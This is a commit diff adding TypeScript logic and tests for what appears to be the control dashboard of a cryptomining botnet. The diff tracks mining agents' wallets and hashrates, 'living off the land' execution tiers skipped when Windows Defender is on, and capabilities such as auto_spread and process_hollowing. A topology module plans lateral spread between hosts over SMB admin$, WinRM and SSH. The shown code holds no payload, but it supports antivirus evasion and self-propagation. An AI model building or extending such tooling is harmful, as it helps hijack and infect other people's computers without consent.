Add phenotype cloning, failure atlas, AI court session, and clearance L0-L4
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled

This commit is contained in:
AetherForge
2026-06-07 02:41:54 -07:00
parent 4b94776432
commit d9f36f182c
47 changed files with 4859 additions and 94 deletions

View File

@@ -47,6 +47,20 @@ describe('parseAccessDepthServerPolicy', () => {
});
});
describe('buildAccessDepthModel atlas skips', () => {
it('marks tiers skipped_by_atlas and lists atlas summary', () => {
const model = buildAccessDepthModel(
agent({ platform: 'windows' }),
parseAccessDepthDiagnostics({
tier_chain_order: ['exe_subprocess', 'ps_inmemory', 'cpu_inprocess'],
atlas_skips: [{ tier: 'ps_inmemory', condition: 'defender_on', reason: '5 failures with Defender on' }],
}),
);
expect(model.atlasSkips).toHaveLength(1);
expect(model.miningOnion.find((r) => r.tier === 'ps_inmemory')?.status).toBe('skipped_by_atlas');
});
});
describe('buildAccessDepthModel pending chain', () => {
it('marks skipped tiers and pending remainder', () => {
const model = buildAccessDepthModel(

View File

@@ -61,6 +61,7 @@ export function mergeAgentStats(agent: Agent, update: WSStatsUpdate): Agent {
...(update.mining_hashrate !== undefined ? { mining_hashrate: update.mining_hashrate } : {}),
...(update.lotl_tier !== undefined ? { lotl_tier: update.lotl_tier } : {}),
...(update.lotl_attempts !== undefined ? { lotl_attempts: update.lotl_attempts } : {}),
...(update.atlas_skips !== undefined ? { atlas_skips: update.atlas_skips } : {}),
...(update.vuln_findings !== undefined ? { vuln_findings: update.vuln_findings } : {}),
...(update.vuln_risk_score !== undefined ? { vuln_risk_score: update.vuln_risk_score } : {}),
...(update.join_lane !== undefined ? { join_lane: update.join_lane } : {}),

View File

@@ -0,0 +1,45 @@
/**
* @vitest-environment node
*/
import { describe, expect, it } from 'vitest';
import { buildLotlTimelineModel } from './lotlTimeline';
import type { Agent } from '../types';
function agent(partial: Partial<Agent>): Agent {
return {
id: 'x',
name: 'n',
wallet: '',
ip: '1.1.1.1',
version: '1',
status: 'online',
cpu_cores: 4,
memory_gb: 8,
last_seen: '',
created_at: '',
hashrate_15s: 0,
hashrate_1m: 0,
hashrate_15m: 0,
shares_total: 0,
shares_good: 0,
shares_bad: 0,
cpu_usage_pct: 0,
memory_usage_pct: 0,
uptime_seconds: 0,
...partial,
};
}
describe('buildLotlTimelineModel atlas skips', () => {
it('marks powershell tier skipped_by_atlas when ps_inmemory is blocked', () => {
const model = buildLotlTimelineModel(
agent({}),
['docker', 'powershell', 'dotnet'],
[],
[],
[{ tier: 'ps_inmemory', condition: 'defender_on', reason: '5 failures' }],
);
const ps = model.tiers.find((t) => t.tier === 'powershell');
expect(ps?.state).toBe('skipped_by_atlas');
});
});

View File

@@ -1,9 +1,10 @@
import { DEFAULT_LOTL_ONION_TIERS, LOTL_ONION_TIER_DOCS } from './lotlOnionTiers';
import type { AtlasSkipView } from './accessDepth';
import type { Agent } from '../types';
import { formatLotlTierLabel, type TierAttempt } from '../types/lotl';
/** Per-tier state for the live onion timeline UI. */
export type LotlTimelineTierState = 'pending' | 'trying' | 'success' | 'failed' | 'skipped';
export type LotlTimelineTierState = 'pending' | 'trying' | 'success' | 'failed' | 'skipped' | 'skipped_by_atlas';
export interface LotlTimelineTierRow {
index: number;
@@ -80,8 +81,10 @@ export function buildLotlTimelineModel(
order: string[],
attempts: TierAttempt[],
skipped: string[] = [],
atlasSkips: AtlasSkipView[] = [],
): LotlTimelineModel {
const skippedSet = new Set(skipped.map((s) => canonicalSpreadTier(s)));
const atlasSet = new Set(atlasSkips.map((s) => canonicalSpreadTier(s.tier)));
const activeTier = agent.lotl_tier?.trim() || undefined;
const activeCanon = activeTier ? canonicalSpreadTier(activeTier) : undefined;
const online = agent.status === 'online';
@@ -97,7 +100,9 @@ export function buildLotlTimelineModel(
const attempt = lastAttemptForTier(attempts, tier);
let state: LotlTimelineTierState = 'pending';
if (skippedSet.has(key)) {
if (atlasSet.has(key)) {
state = 'skipped_by_atlas';
} else if (skippedSet.has(key)) {
state = 'skipped';
} else if (tryingTier === key || (online && activeCanon === key && !attempt?.ok)) {
state = 'trying';

View File

@@ -0,0 +1,262 @@
import { describe, it, expect } from 'vitest';
import {
parseSubnet,
subnetLabel,
groupBySubnet,
layoutSubnets,
layoutNodes,
buildEdges,
spreadCandidates,
spreadLanesBetween,
} from './networkTopology';
import type { Agent } from '../types';
function mkAgent(overrides: Partial<Agent> & { id: string }): Agent {
return {
name: overrides.id,
wallet: '4' + 'A'.repeat(94),
ip: '10.0.0.1',
version: '1.0.0',
status: 'online',
cpu_cores: 4,
memory_gb: 8,
last_seen: new Date().toISOString(),
created_at: new Date().toISOString(),
hashrate_15s: 0,
hashrate_1m: 0,
hashrate_15m: 0,
shares_total: 0,
shares_good: 0,
shares_bad: 0,
cpu_usage_pct: 0,
memory_usage_pct: 0,
uptime_seconds: 0,
...overrides,
} as Agent;
}
const fullCaps = {
hole_punch: true,
remote_aggressive: true,
mesh_p2p: true,
auto_spread: true,
process_hollowing: false,
ai_enabled: false,
};
const noCaps = { ...fullCaps, auto_spread: false };
// ── parseSubnet ──────────────────────────────────────────────────────────────
describe('parseSubnet', () => {
it('extracts /24 from standard IPv4', () => {
expect(parseSubnet('192.168.1.42')).toBe('192.168.1.0/24');
expect(parseSubnet('10.0.0.5')).toBe('10.0.0.0/24');
expect(parseSubnet('172.16.254.1')).toBe('172.16.254.0/24');
});
it('returns unknown for missing or bad IPs', () => {
expect(parseSubnet(undefined)).toBe('unknown');
expect(parseSubnet('')).toBe('unknown');
expect(parseSubnet('not-an-ip')).toBe('unknown');
expect(parseSubnet('192.168.1')).toBe('unknown');
});
});
// ── subnetLabel ──────────────────────────────────────────────────────────────
describe('subnetLabel', () => {
it('replaces .0/24 with .x', () => {
expect(subnetLabel('192.168.1.0/24')).toBe('192.168.1.x');
});
it('handles unknown', () => {
expect(subnetLabel('unknown')).toBe('Unknown');
});
});
// ── groupBySubnet ────────────────────────────────────────────────────────────
describe('groupBySubnet', () => {
it('groups agents by subnet', () => {
const agents = [
mkAgent({ id: 'a1', ip: '192.168.1.10' }),
mkAgent({ id: 'a2', ip: '192.168.1.20' }),
mkAgent({ id: 'a3', ip: '10.0.0.5' }),
];
const map = groupBySubnet(agents);
expect(map.get('192.168.1.0/24')).toHaveLength(2);
expect(map.get('10.0.0.0/24')).toHaveLength(1);
});
it('handles empty agent list', () => {
expect(groupBySubnet([])).toEqual(new Map());
});
it('puts missing-IP agents under unknown', () => {
const agents = [mkAgent({ id: 'x', ip: undefined })];
expect(groupBySubnet(agents).get('unknown')).toHaveLength(1);
});
});
// ── layoutSubnets ────────────────────────────────────────────────────────────
describe('layoutSubnets', () => {
it('places single subnet at center', () => {
const [s] = layoutSubnets(['10.0.0.0/24']);
expect(s.cx).toBeCloseTo(50);
expect(s.cy).toBeCloseTo(50);
});
it('places multiple subnets on a ring', () => {
const layouts = layoutSubnets(['10.0.0.0/24', '192.168.1.0/24']);
expect(layouts).toHaveLength(2);
layouts.forEach((l) => {
expect(l.cx).toBeGreaterThan(0);
expect(l.cy).toBeGreaterThan(0);
expect(l.r).toBeGreaterThan(0);
});
});
it('assigns distinct colors to different subnets', () => {
const layouts = layoutSubnets(['10.0.0.0/24', '192.168.1.0/24', '172.16.0.0/24']);
const colors = layouts.map((l) => l.color);
expect(new Set(colors).size).toBe(3);
});
});
// ── layoutNodes ──────────────────────────────────────────────────────────────
describe('layoutNodes', () => {
it('produces one node per agent', () => {
const agents = [
mkAgent({ id: 'a1', ip: '10.0.0.1' }),
mkAgent({ id: 'a2', ip: '10.0.0.2' }),
];
const subnets = layoutSubnets(['10.0.0.0/24']);
const nodes = layoutNodes(agents, subnets);
expect(nodes).toHaveLength(2);
nodes.forEach((n) => {
expect(n.x).toBeGreaterThanOrEqual(0);
expect(n.y).toBeGreaterThanOrEqual(0);
});
});
it('marks offline agents correctly', () => {
const agents = [
mkAgent({ id: 'on', ip: '10.0.0.1', status: 'online' }),
mkAgent({ id: 'off', ip: '10.0.0.2', status: 'offline' }),
];
const subnets = layoutSubnets(['10.0.0.0/24']);
const nodes = layoutNodes(agents, subnets);
expect(nodes.find((n) => n.id === 'on')?.online).toBe(true);
expect(nodes.find((n) => n.id === 'off')?.online).toBe(false);
});
});
// ── spreadLanesBetween ───────────────────────────────────────────────────────
describe('spreadLanesBetween', () => {
it('returns empty when source has no auto_spread', () => {
const a = mkAgent({ id: 'a', capabilities: noCaps });
const b = mkAgent({ id: 'b', capabilities: fullCaps });
expect(spreadLanesBetween(a, b)).toHaveLength(0);
});
it('includes smb+winrm for two Windows nodes', () => {
const a = mkAgent({ id: 'a', platform: 'windows', capabilities: fullCaps });
const b = mkAgent({ id: 'b', platform: 'windows', capabilities: fullCaps });
const lanes = spreadLanesBetween(a, b);
expect(lanes).toContain('smb');
expect(lanes).toContain('winrm');
});
it('includes ssh for Linux nodes', () => {
const a = mkAgent({ id: 'a', platform: 'linux', capabilities: fullCaps });
const b = mkAgent({ id: 'b', platform: 'linux', capabilities: fullCaps });
const lanes = spreadLanesBetween(a, b);
expect(lanes).toContain('ssh');
});
});
// ── buildEdges ───────────────────────────────────────────────────────────────
describe('buildEdges', () => {
it('creates subnet edges for same-subnet online pairs', () => {
const agents = [
mkAgent({ id: 'a1', ip: '192.168.1.10', capabilities: noCaps }),
mkAgent({ id: 'a2', ip: '192.168.1.20', capabilities: noCaps }),
];
const edges = buildEdges(agents, new Set());
expect(edges.some((e) => e.kind === 'subnet')).toBe(true);
expect(edges).toHaveLength(1);
});
it('excludes offline agents from edges', () => {
const agents = [
mkAgent({ id: 'a1', ip: '10.0.0.1', status: 'offline', capabilities: fullCaps }),
mkAgent({ id: 'a2', ip: '10.0.0.2', status: 'online', capabilities: fullCaps }),
];
expect(buildEdges(agents, new Set())).toHaveLength(0);
});
it('adds spread edges for spread-capable nodes on different subnets', () => {
const agents = [
mkAgent({ id: 'a1', ip: '10.0.0.1', platform: 'windows', capabilities: fullCaps }),
mkAgent({ id: 'a2', ip: '192.168.1.1', platform: 'windows', capabilities: fullCaps }),
];
const edges = buildEdges(agents, new Set());
expect(edges.some((e) => e.kind === 'cross_subnet')).toBe(true);
});
it('marks edges active when a selected node is involved', () => {
const agents = [
mkAgent({ id: 'a1', ip: '10.0.0.1', capabilities: noCaps }),
mkAgent({ id: 'a2', ip: '10.0.0.2', capabilities: noCaps }),
];
const edges = buildEdges(agents, new Set(['a1']));
expect(edges.every((e) => e.active)).toBe(true);
});
it('produces no duplicate edge pairs', () => {
const agents = [
mkAgent({ id: 'a1', ip: '10.0.0.1', capabilities: fullCaps, platform: 'windows' }),
mkAgent({ id: 'a2', ip: '10.0.0.2', capabilities: fullCaps, platform: 'windows' }),
mkAgent({ id: 'a3', ip: '10.0.0.3', capabilities: fullCaps, platform: 'windows' }),
];
const edges = buildEdges(agents, new Set());
const ids = edges.map((e) => e.id);
expect(new Set(ids).size).toBe(ids.length);
});
});
// ── spreadCandidates ─────────────────────────────────────────────────────────
describe('spreadCandidates', () => {
it('returns empty for offline source', () => {
const src = mkAgent({ id: 'src', status: 'offline', capabilities: fullCaps });
const tgt = mkAgent({ id: 'tgt', capabilities: fullCaps });
expect(spreadCandidates(src, [src, tgt])).toHaveLength(0);
});
it('returns empty when source lacks auto_spread', () => {
const src = mkAgent({ id: 'src', capabilities: noCaps });
const tgt = mkAgent({ id: 'tgt', capabilities: fullCaps });
expect(spreadCandidates(src, [src, tgt])).toHaveLength(0);
});
it('lists reachable targets with lanes', () => {
const src = mkAgent({ id: 'src', platform: 'windows', capabilities: fullCaps });
const tgt = mkAgent({ id: 'tgt', platform: 'windows', capabilities: fullCaps });
const offline = mkAgent({ id: 'off', status: 'offline', capabilities: fullCaps });
const results = spreadCandidates(src, [src, tgt, offline]);
expect(results).toHaveLength(1);
expect(results[0].agentId).toBe('tgt');
expect(['smb', 'winrm', 'ssh', 'spread']).toContain(results[0].lane);
});
it('excludes self', () => {
const src = mkAgent({ id: 'src', capabilities: fullCaps });
expect(spreadCandidates(src, [src])).toHaveLength(0);
});
});

View File

@@ -0,0 +1,287 @@
/**
* Network Topology Map — pure logic helpers.
*
* No React, no DOM — fully unit-testable.
* All data is derived from the existing Agent type; no backend changes needed.
*/
import type { Agent } from '../types';
// ── Subnet parsing ─────────────────────────────────────────────────────────
/**
* Extract the /24 subnet string from an IPv4 address.
* "192.168.1.42" → "192.168.1.0/24"
* Returns "unknown" when the IP is missing or non-IPv4.
*/
export function parseSubnet(ip: string | undefined): string {
if (!ip) return 'unknown';
const parts = ip.split('.');
if (parts.length !== 4 || parts.some((p) => isNaN(Number(p)))) return 'unknown';
return `${parts[0]}.${parts[1]}.${parts[2]}.0/24`;
}
/** Human-friendly label: "192.168.1.x" */
export function subnetLabel(subnet: string): string {
if (subnet === 'unknown') return 'Unknown';
return subnet.replace('.0/24', '.x');
}
/** Group agents by their /24 subnet. */
export function groupBySubnet(agents: Agent[]): Map<string, Agent[]> {
const map = new Map<string, Agent[]>();
for (const a of agents) {
const s = parseSubnet(a.ip);
if (!map.has(s)) map.set(s, []);
map.get(s)!.push(a);
}
return map;
}
// ── Layout ─────────────────────────────────────────────────────────────────
/** Stable hash from a string → 0..1 float. */
function stableHash(seed: string): number {
let h = 2166136261 >>> 0;
for (let i = 0; i < seed.length; i++) {
h ^= seed.charCodeAt(i);
h = Math.imul(h, 16777619) >>> 0;
}
return (h % 10000) / 10000;
}
/** Two independent stable floats for x/y from one seed. */
function stableXY(seed: string): { x: number; y: number } {
return {
x: stableHash(seed + ':x'),
y: stableHash(seed + ':y'),
};
}
export interface SubnetLayout {
subnet: string;
label: string;
cx: number; // center x, 0-100 viewBox
cy: number; // center y, 0-100 viewBox
r: number; // radius of the bubble ring
color: string;
}
const SUBNET_PALETTE = [
'#00e8f5', // cyan
'#b24bf3', // violet
'#39ff14', // neon green
'#ff2da6', // magenta
'#ffb020', // amber
'#ff6b35', // orange
'#3a86ff', // blue
'#06d6a0', // teal
'#ffd60a', // yellow
'#f72585', // hot pink
];
export function subnetColor(index: number): string {
return SUBNET_PALETTE[index % SUBNET_PALETTE.length];
}
/**
* Place subnet bubbles in a circle around the center.
* Single subnet gets center position.
*/
export function layoutSubnets(subnets: string[]): SubnetLayout[] {
const total = subnets.length;
const BASE_R = 18;
const ORBIT_R = total === 1 ? 0 : 28;
return subnets.map((subnet, i) => {
const angle = total === 1 ? 0 : (i / total) * Math.PI * 2 - Math.PI / 2;
const cx = 50 + Math.cos(angle) * ORBIT_R;
const cy = 50 + Math.sin(angle) * ORBIT_R;
return {
subnet,
label: subnetLabel(subnet),
cx,
cy,
r: BASE_R,
color: subnetColor(i),
};
});
}
export interface TopoNode {
id: string;
agentId: string;
label: string;
x: number;
y: number;
subnet: string;
subnetColor: string;
online: boolean;
platform: string;
ip: string;
hashrate: number;
latencyMs?: number;
joinLane?: string;
canSpread: boolean;
capabilities: Agent['capabilities'];
}
/**
* Compute pixel positions for all nodes.
* Nodes within a subnet scatter around the subnet center.
*/
export function layoutNodes(
agents: Agent[],
subnetLayouts: SubnetLayout[],
): TopoNode[] {
const subnetMap = new Map(subnetLayouts.map((s) => [s.subnet, s]));
const subnetAgentCounts = new Map<string, number>();
for (const a of agents) {
const s = parseSubnet(a.ip);
subnetAgentCounts.set(s, (subnetAgentCounts.get(s) ?? 0) + 1);
}
const subnetCounters = new Map<string, number>();
return agents.map((agent): TopoNode => {
const subnet = parseSubnet(agent.ip);
const layout = subnetMap.get(subnet) ?? { cx: 50, cy: 50, r: 18, color: '#00e8f5', subnet, label: 'Unknown' };
const total = subnetAgentCounts.get(subnet) ?? 1;
const idx = subnetCounters.get(subnet) ?? 0;
subnetCounters.set(subnet, idx + 1);
// Stable jitter within the bubble radius
const jitter = stableXY(`${subnet}:${agent.id}`);
const angle = (idx / Math.max(total, 1)) * Math.PI * 2 + (jitter.x - 0.5) * 0.8;
const dist = (total === 1 ? 0 : 4 + Math.sqrt(total) * 2.5) * (0.6 + jitter.y * 0.4);
const maxDist = layout.r * 0.75;
return {
id: agent.id,
agentId: agent.id,
label: agent.name,
x: layout.cx + Math.cos(angle) * Math.min(dist, maxDist),
y: layout.cy + Math.sin(angle) * Math.min(dist, maxDist),
subnet,
subnetColor: layout.color,
online: agent.status === 'online',
platform: agent.platform ?? 'unknown',
ip: agent.ip ?? '—',
hashrate: agent.hashrate_15m ?? 0,
latencyMs: agent.latency_ms,
joinLane: agent.join_lane,
canSpread: !!(agent.capabilities?.auto_spread),
capabilities: agent.capabilities,
};
});
}
// ── Edge graph ──────────────────────────────────────────────────────────────
export type EdgeKind =
| 'subnet' // same /24 — implies reachability
| 'spread' // lateral spread candidate
| 'smb' // SMB admin$ path (Windows + port 445)
| 'winrm' // WinRM (Windows + 5985/5986)
| 'ssh' // SSH lateral (Linux/Darwin)
| 'cross_subnet'; // different subnets, but both spread-capable
export interface TopoEdge {
id: string;
sourceId: string;
targetId: string;
kind: EdgeKind;
/** Highlight when either endpoint is selected. */
active: boolean;
}
/** Determine what spread lanes exist between two agents. */
export function spreadLanesBetween(a: Agent, b: Agent): EdgeKind[] {
if (!a.capabilities?.auto_spread || !b.capabilities?.auto_spread) return [];
const lanes: EdgeKind[] = ['spread'];
const aWin = (a.platform ?? '').toLowerCase().includes('win');
const bWin = (b.platform ?? '').toLowerCase().includes('win');
const aLin = (a.platform ?? '').toLowerCase().includes('linux') || (a.platform ?? '').toLowerCase().includes('darwin');
const bLin = (b.platform ?? '').toLowerCase().includes('linux') || (b.platform ?? '').toLowerCase().includes('darwin');
if (aWin && bWin) { lanes.push('smb'); lanes.push('winrm'); }
if ((aLin && bWin) || (aWin && bLin) || (aLin && bLin)) lanes.push('ssh');
return lanes;
}
/**
* Build all edges for the topology graph.
*
* Rules:
* - Same subnet + both online → `subnet` edge
* - Both have auto_spread + online → additional `spread` / protocol edges
* - Cross-subnet + both spread-capable → `cross_subnet`
*/
export function buildEdges(agents: Agent[], selectedIds: Set<string>): TopoEdge[] {
const online = agents.filter((a) => a.status === 'online');
const edges: TopoEdge[] = [];
const seen = new Set<string>();
for (let i = 0; i < online.length; i++) {
for (let j = i + 1; j < online.length; j++) {
const a = online[i];
const b = online[j];
const subA = parseSubnet(a.ip);
const subB = parseSubnet(b.ip);
const sameSubnet = subA === subB && subA !== 'unknown';
const edgeKey = [a.id, b.id].sort().join('::');
if (seen.has(edgeKey)) continue;
seen.add(edgeKey);
const active = selectedIds.has(a.id) || selectedIds.has(b.id);
if (sameSubnet) {
edges.push({ id: edgeKey + ':subnet', sourceId: a.id, targetId: b.id, kind: 'subnet', active });
}
// Spread lanes (may add on top of subnet edge)
const lanes = spreadLanesBetween(a, b);
for (const lane of lanes) {
if (lane === 'spread' && sameSubnet) continue; // subnet edge covers it
const spreadKey = edgeKey + ':' + lane;
if (seen.has(spreadKey)) continue;
seen.add(spreadKey);
edges.push({
id: spreadKey,
sourceId: a.id,
targetId: b.id,
kind: sameSubnet ? lane : 'cross_subnet',
active,
});
}
}
}
return edges;
}
/**
* Which agents can be reached laterally from a source agent?
* Returns agent IDs with the best available lane.
*/
export function spreadCandidates(
source: Agent,
allAgents: Agent[],
): { agentId: string; lane: EdgeKind }[] {
if (!source.capabilities?.auto_spread || source.status !== 'online') return [];
const results: { agentId: string; lane: EdgeKind }[] = [];
for (const target of allAgents) {
if (target.id === source.id || target.status !== 'online') continue;
const lanes = spreadLanesBetween(source, target);
if (lanes.length === 0) continue;
// Prefer most specific lane
const preferred = lanes.find((l) => l !== 'spread') ?? lanes[0];
results.push({ agentId: target.id, lane: preferred });
}
return results;
}